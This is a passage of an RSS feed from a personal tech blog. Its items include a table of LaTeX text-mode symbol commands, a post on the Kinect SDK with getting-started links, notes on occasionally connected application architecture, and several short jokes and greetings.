&lt;/a&gt; is a great example of how a number of nodes operate in a MANET and implement some predetermined algorithm, which in this case is the Bond Theme Song. Worth watching. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Less than Symbol in Latex</title>
      <link>/post/2012/02/less-than-symbol-in-latex/</link>
      <pubDate>Tue, 28 Feb 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/02/less-than-symbol-in-latex/</guid>
      <description>&lt;p&gt;If you want to show a simple less than symbol (i.e. &amp;lt;) in Latex, you are in for a surprise as you cannot use that character as is. If you are in math mode and writing this part of a formula then you might be still OK, but if you are in text mode then it is quite difficult.&lt;/p&gt;
&lt;p&gt;Surprisingly, searching for this online also did not provide any obvious answers (perhaps I was searching for the wrong thing).&lt;/p&gt;
&lt;p&gt;Anyways, I did figure it out in the end, and I needed to use the &lt;code&gt;\textless&lt;/code&gt; directive for latex. I also found a few more symbols and have them listed below in case they are helpful for anyone else.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th style=&#34;text-align: left&#34;&gt;Symbol&lt;/th&gt;
          &lt;th style=&#34;text-align: center&#34;&gt;Latex Command&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;^&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;\textasciicircum&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&amp;lt;&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textless&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&amp;gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textgreater&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;~&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textasciitilde&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;ª&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textordfeminine&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;*&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textasteriskcentered&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;º&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textordmasculine&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;\&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textbar&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;¶&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textparagraph&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;|&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textparagraph&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;·&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textperiodcentered&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;{&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textbraceleft&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;}&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textbraceright&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;¿&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textquestiondown&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;“&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textquotedblleft&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;”&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textquotedblright&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;‘&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textquoteleft&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;’&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textquoteright&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;•&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textbullet&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;©&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textcopyright&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;†&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textdagger&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;‡&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textdaggerdbl&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;®&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textregistered&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;$&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textdollar&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;§&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textsection&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&amp;hellip;&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textellipsis&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;£&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textsterling&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;—&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textemdash&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;™&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\texttrademark&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;–&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textendash&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;_&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textunderscore&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;¡&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textexclamdown&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td style=&#34;text-align: left&#34;&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;&lt;code&gt;\textvisiblespace&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</description>
    </item>
    
    <item>
      <title>Rich Copy - a Robocopy GUI</title>
      <link>/post/2012/01/rich-copyndasha-robocopy-gui/</link>
      <pubDate>Thu, 26 Jan 2012 00:00:00 +0000</pubDate>
      
      <guid>/post/2012/01/rich-copyndasha-robocopy-gui/</guid>
      <description>&lt;p&gt;I needed to copy a bunch of data (Photos and Music) from my primary laptop to both the WHS and MCE and instead of hand crafting a Robocopy script I &lt;a
	
		href = &#34;http://technet.microsoft.com/en-us/magazine/2009.04.utilityspotlight.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		came across
	&lt;/span&gt;
&lt;/a&gt; something called RichCopy (&lt;a
	
		href = &#34;http://download.microsoft.com/download/f/d/0/fd05def7-68a1-4f71-8546-25c359cc0842/HoffmanUtilitySpotlight2009_04.exe&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download from here
	&lt;/span&gt;
&lt;/a&gt;) which is a much better version of Robocopy GUI and allows for quite a few advanced features. If you use Robocopy a lot then I would highly recommend using this – you can setup multiple profiles depending on your environment.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/dd547088.fig01_Len-us.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Productivity Future Vision</title>
      <link>/post/2011/11/productivity-future-vision/</link>
      <pubDate>Tue, 01 Nov 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/11/productivity-future-vision/</guid>
      <description>&lt;p&gt;Microsoft&amp;rsquo;s productivity future - how cool is this?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Happy Diwali</title>
      <link>/post/2011/10/happy-diwali-2/</link>
      <pubDate>Tue, 25 Oct 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/10/happy-diwali-2/</guid>
      <description>&lt;p&gt;Wishing you and your family a very &lt;strong&gt;Happy Diwali&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image001.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;May the year bring &lt;strong&gt;Joy, Happiness, and Prosperity!&lt;/strong&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Performance Reviews and Dilbert</title>
      <link>/post/2011/09/performance-reviews-and-dilbert/</link>
      <pubDate>Sun, 11 Sep 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/09/performance-reviews-and-dilbert/</guid>
      <description>&lt;p&gt;We are going through your year-end process now at Avanade; perhaps I should have a word with my Boss first. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/image1.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/image2.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Developer, Designer, PM, QA, Client Matrix</title>
      <link>/post/2011/09/developer-designer-pm-qa-client-matrix/</link>
      <pubDate>Sat, 10 Sep 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/09/developer-designer-pm-qa-client-matrix/</guid>
      <description>&lt;p&gt;Can you find yourself?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image001.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The reason I tweet</title>
      <link>/post/2011/08/the-reason-i-tweet/</link>
      <pubDate>Mon, 01 Aug 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/08/the-reason-i-tweet/</guid>
      <description>&lt;p&gt;I can’t decide which one of the following reasons makes more sense. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image002.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image0027.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Joke of the day</title>
      <link>/post/2011/07/joke-of-the-day/</link>
      <pubDate>Fri, 22 Jul 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/07/joke-of-the-day/</guid>
      <description>&lt;p&gt;Two strings walk into a bar.&lt;br&gt;
1st string: I&amp;rsquo;ll have a beerk^xtc3ts08bmd;tidd%ti=lt}to&lt;br&gt;
2nd string: Please forgive my friend. He&amp;rsquo;s not null terminated.&lt;/p&gt;
&lt;p&gt;(credit: Avanade communities)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Greatest moment in a geek&#39;s life!</title>
      <link>/post/2011/07/greatest-moment-in-a-geeks-life/</link>
      <pubDate>Sat, 16 Jul 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/07/greatest-moment-in-a-geeks-life/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Greatest-moment-in-a-geeks-life.jpg&#34; alt=&#34;Greatest moment in a geeks life&#34;/&gt;
        &lt;figcaption&gt;Greatest moment in a geeks life&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Automatic eTag Management with WCF Web API Message Handlers</title>
      <link>/post/2011/07/automatic-etag-management-with-wcf-web-api-message-handlers/</link>
      <pubDate>Thu, 07 Jul 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/07/automatic-etag-management-with-wcf-web-api-message-handlers/</guid>
      <description></description>
    </item>
    
    <item>
      <title>Books and Desk</title>
      <link>/post/2011/07/books-and-desk/</link>
      <pubDate>Thu, 07 Jul 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/07/books-and-desk/</guid>
      <description>&lt;p&gt;I have been asked a number of times, what books do I have and use. It is a long list and I am too lazy to list them out. So instead here is a photo I had taken about a year ago. Sure there are more books since then on different topics, but this should be good enough to give you a flavour.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/IMG_4603.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Also people asked me about my machines and study at home – and there is a photo for that too. This was in London and not in Bangalore of course. I guess this might mean I need to get to cleaning things more often and probably invest in some cable management solution. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/IMG_4602.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WP7 Mango Speech to Text feature</title>
      <link>/post/2011/07/wp7-mango-speech-to-text-feature/</link>
      <pubDate>Tue, 05 Jul 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/07/wp7-mango-speech-to-text-feature/</guid>
      <description>&lt;p&gt;So I switched on my Bluetooth headset and discovered the Text to Speech feature that Mango has which works brilliantly. On the other hand, the reverse – speech to Text has a few short comings. Here is what was send to the missus when I replied to an SMS using this feature:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“&lt;em&gt;Okay calling amusing text to speech not speak to destitute lots of okay bye&lt;/em&gt;”&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;And in case you were wondering, no I did not say that – but something quite different.  I guess Mango is still beta :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>On Friends</title>
      <link>/post/2011/06/on-friends/</link>
      <pubDate>Sat, 18 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/on-friends/</guid>
      <description>&lt;p&gt;Sorry, this is in &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Hinglish&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hinglish
	&lt;/span&gt;
&lt;/a&gt;; too complicated to try and translate it. :)&lt;/p&gt;
&lt;p&gt;RESULT AGAR ACHCHA HO:&lt;br&gt;
Maa- Bhagwan ki kripa hai.&lt;br&gt;
Papa- Beta Kiska Hai.&lt;br&gt;
Dost- Chal Daaru Peete hain&lt;/p&gt;
&lt;p&gt;RESULT AGAR BURA HO:&lt;br&gt;
Maa- Aag lage is college main.&lt;br&gt;
Papa- Laad pyar ne bigaad diya.&lt;br&gt;
Dost- Chal Daaru Peete hain!&lt;/p&gt;
&lt;p&gt;NAUKRI LAGNE PAR:&lt;br&gt;
Maa- Apni sehat ka khyal rakhna&lt;br&gt;
Papa- Khoob Mehnat se kaam karna.&lt;br&gt;
Dost- Chal Daaru Peete hain!&lt;/p&gt;
&lt;p&gt;NAUKRI CHHOTNE PAR&lt;br&gt;
Maa- Naukri hee kharab thee&lt;br&gt;
Papa- Koi baat Nahin, doosri mil jayegi&lt;br&gt;
Dost- Chal Daaru Peete hain!&lt;/p&gt;
&lt;p&gt;BIRTHDAY PAR:&lt;br&gt;
Maa- Jug jug jiye mera beta&lt;br&gt;
Papa- Hamesha aage badhna.&lt;br&gt;
Dost- Chal Daaru Peete hain!&lt;/p&gt;
&lt;p&gt;SHAADI PAR&lt;br&gt;
Maa- Sadaa Sukhi Raho&lt;br&gt;
Papa- Khush Raho&lt;br&gt;
Dost- Chal Daaru Peete hain!&lt;/p&gt;
&lt;p&gt;BACHHA HONE PAR&lt;br&gt;
Maa- Bilkul mere bete par gaya/gayi hai&lt;br&gt;
Papa- Khush Raho&lt;br&gt;
Dost- Chal Daaru Peete hain!&lt;/p&gt;
&lt;p&gt;LOVE MAIN FAIL HONE PER:&lt;br&gt;
Maa - Beta Bhool ja usko&lt;br&gt;
Papa - Mard ban.&lt;br&gt;
Dost - Chal Daaru Peete hain!&lt;/p&gt;
&lt;p&gt;MORAL OF THE STORY: Duniya badal jati hai par DOST kabhi nahin badalte&amp;hellip;!!!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kinect SDK</title>
      <link>/post/2011/06/kinect-sdk/</link>
      <pubDate>Fri, 17 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/kinect-sdk/</guid>
      <description>&lt;p&gt;Microsoft recently release the &lt;a
	
		href = &#34;http://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kinect SDK
	&lt;/span&gt;
&lt;/a&gt; which allows you to implement a Natural User Interface and program against it! There is a lot of interest  around including claims on how &lt;a
	
		href = &#34;http://www.wired.com/magazine/2011/06/mf_kinect&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Robotics will change
	&lt;/span&gt;
&lt;/a&gt; to how you can integrate a light sensor.&lt;/p&gt;
&lt;p&gt;You can use Visual Studio (C++, C# and VB.NET supported) and get quite interesting results.&lt;/p&gt;
&lt;p&gt;Here are a series of links below which will help you get started.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download and install the Kinect SDK&lt;/li&gt;
&lt;li&gt;Download and install &lt;a
	
		href = &#34;http://files.ch9.ms/coding4fun/KinectForWindowsSDKQuickstarts.zip&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Quickstart Samples and Slides
	&lt;/span&gt;
&lt;/a&gt; (zip file)&lt;/li&gt;
&lt;li&gt;Understanding the &lt;a
	
		href = &#34;http://channel9.msdn.com/Series/KinectSDKQuickstarts/Understanding-Kinect-Hardware&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kinect hardware
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Setting up your &lt;a
	
		href = &#34;http://channel9.msdn.com/Series/KinectSDKQuickstarts/Getting-Started&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dev Environment
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Understanding the basics of &lt;a
	
		href = &#34;http://channel9.msdn.com/Series/KinectSDKQuickstarts/Skeletal-Tracking-Fundamentals&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		skeletal tracking
	&lt;/span&gt;
&lt;/a&gt; using the Kinect sensor&lt;/li&gt;
&lt;li&gt;Understanding &lt;a
	
		href = &#34;http://channel9.msdn.com/Series/KinectSDKQuickstarts/Camera-Fundamentals&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		camera fundamentals
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Understanding the &lt;a
	
		href = &#34;http://channel9.msdn.com/Series/KinectSDKQuickstarts/Audio-Fundamentals&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		audio fundamentals
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Playing with the &lt;a
	
		href = &#34;http://channel9.msdn.com/coding4fun/projects/Coding4Fun-Kinect-Toolkit&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Coding4Fun Kinect toolkit
	&lt;/span&gt;
&lt;/a&gt; and seeing how one can build cool apps such as:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://channel9.msdn.com/coding4fun/projects/Kinect-Paint&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kinect Paint
	&lt;/span&gt;
&lt;/a&gt; (which uses skeleton tracking)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://channel9.msdn.com/coding4fun/projects/Kinect-Mouse-Cursor&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kinect Mouse
	&lt;/span&gt;
&lt;/a&gt; which uses your hands as the mouse cursor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keep and eye out on the &lt;a
	
		href = &#34;http://channel9.msdn.com/coding4fun/kinect&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Coding4Fun Kinect blog
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>On Google</title>
      <link>/post/2011/06/on-google/</link>
      <pubDate>Fri, 17 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/on-google/</guid>
      <description>&lt;p&gt;So, what kind of a company do you think Google is? I guess the obvious answer – it is a search company. I would beg to differ and say it is on the contrary a data mining company. They make their money from AdSense and the Click-thru and sure, the search was the initial pull but now it is the data mining which pulls in the $$$’s. In some respects it is a one-trick pony, albeit a pretty good trick.&lt;/p&gt;
&lt;p&gt;Of course, the reach of Google’s index is quite small (relatively speaking), with much more data sitting inside corporations – something which Microsoft realises and is making strides with &lt;a
	
		href = &#34;http://sharepoint.microsoft.com/en-us/product/capabilities/search/Pages/Fast-Search.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FAST
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Something to think about next time you use your Android, Gmail, Google Talk, Google Talks, You Tube, etc. Each of those usage just adds to the data mining, allowing Google to make more money. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Occasionally Connected Architecture</title>
      <link>/post/2011/06/occasionally-connected-architecture/</link>
      <pubDate>Thu, 16 Jun 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/06/occasionally-connected-architecture/</guid>
      <description>&lt;p&gt;When implementing an occasionally connected architecture for a solution, there are three fundamental requirements:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Part of the overall solution, some smart client is deployed and installed on the desktop and a web only approach is not possible. The main rational being that a smart client can work in a disconnected mode which of course with a web application is not possible.&lt;/li&gt;
&lt;li&gt;Underlying infrastructure needs to be in place to support this. Infrastructure is not specifically networks and servers, but also both the operational environment and the user’s environment and machine. The operational environments need to allow things such as: data caching, local storage of user data, user profile details, etc.&lt;/li&gt;
&lt;li&gt;More robust exception management process – this is not only about handling errors but also understanding the fact that the application is in a disconnected state and needs to do things differently.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When designing an occasionally connected application, there are two design approaches that one can take - data centric or service oriented.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;Data Centric&lt;/strong&gt; – Applications had a RDBMS of some sort installed locally and use the built-in capabilities of that RDBMS to propagate and sync data including resolving any conflicts.&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;Server publishes data, which a client subscribes to and is copied locally. The conflict resolution (as changes can be both on the server or client) needs to be agreed upfront.&lt;/li&gt;
&lt;li&gt;Generally the database’s built-in conflict resolution is used – this makes it simpler for the application as one does not need to build this in the application.&lt;/li&gt;
&lt;li&gt;As there is only one data repository, the data convergence is guaranteed between the client and the server.&lt;/li&gt;
&lt;li&gt;Both the client and the server are tightly coupled.&lt;/li&gt;
&lt;li&gt;As a database needs to run locally, machines with small footprints or devices such as mobile phones will not be able to run this.&lt;/li&gt;
&lt;li&gt;If deployment is an issue then there is more work required here.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service-Oriented&lt;/strong&gt; – Applications use the SOA paradigm and store information in messages which are queued (when disconnected) and send to the server when connected for processing.
&lt;ol&gt;
&lt;li&gt;The client can interact with any service required and focuses on the service requests instead of the local data i.e. are loosely coupled.&lt;/li&gt;
&lt;li&gt;No local RDBMS required; of course some state information would still need to be saved.&lt;/li&gt;
&lt;li&gt;Better when needs to interact outside of the firewall (e.g. Internet or Intranet)&lt;/li&gt;
&lt;li&gt;Deployment is still required, but is simpler.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For Data centric application, from a design perspective the following aspects should be factored in:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Application needs to be aware of the merge-replication schemes that are implemented as the application needs to optimise for data updates and conflicts.&lt;/li&gt;
&lt;li&gt;As a result, ACID properties are not used for transactions; instead a pub-sub model is implemented.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On the other hand, for Service-oriented apps, the application design should address the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Application has to implement asynchronous communication.&lt;/li&gt;
&lt;li&gt;Overall solution needs to keep all the network interactions simple and cannot be complex.&lt;/li&gt;
&lt;li&gt;Application needs to add data caching capabilities&lt;/li&gt;
&lt;li&gt;Application needs to implement robust connection management (e.g. Manual vs. Automatic)&lt;/li&gt;
&lt;li&gt;Implement a store-and-forward mechanism such as using MSMQ.&lt;/li&gt;
&lt;li&gt;Application needs to implement a robust data and business rule conflict manager.&lt;/li&gt;
&lt;li&gt;Interacting with CRUD like Web services.&lt;/li&gt;
&lt;li&gt;The application and the work can be logically broken into “chunks” to allow one using a task-based approach.&lt;/li&gt;
&lt;li&gt;The application should be able to handle both forward and reverse dependencies which in turn could be complex business logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a high level guide, a data centric approach should be used when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;One can deploy a database instance on the client.&lt;/li&gt;
&lt;li&gt;The application can function in a two-tier environment.&lt;/li&gt;
